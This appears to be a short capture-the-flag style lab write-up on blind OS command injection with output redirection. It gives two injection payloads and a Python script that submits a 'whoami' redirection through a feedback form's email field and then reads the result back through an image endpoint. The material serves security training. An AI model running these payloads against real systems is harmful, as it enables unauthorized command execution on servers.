3. Blind OS command injection with output redirection









Last updated









Last updated
||sleep+5||||whoami+>+/var/www/images/whoami.txt||import requests
import os
import sys
import re
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
session = requests.session()
def CommandInjection():
print("[*] Get CSRF Token.")
csrf = re.findall(r'name="csrf" value="(.+?)"', session.get(url=url + "feedback").text)
print("[*] Perform Command Injection.")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = f"csrf={csrf[0]}&name=test&email=test@test.com||whoami+>+/var/www/images/whoami.txt||&subject=test&message=test"
session.post(url=url + "feedback/submit", headers=headers, data=data)
print(session.get(url=url + "image?filename=whoami.txt").text)
if __name__ == "__main__":
if len(sys.argv) != 2:
script_name = os.path.basename(__file__)
print(f"[-] Usage: python {script_name} http://localhost/")
sys.exit(1)
url = sys.argv[1]
CommandInjection()
print("[+] Solved.")
p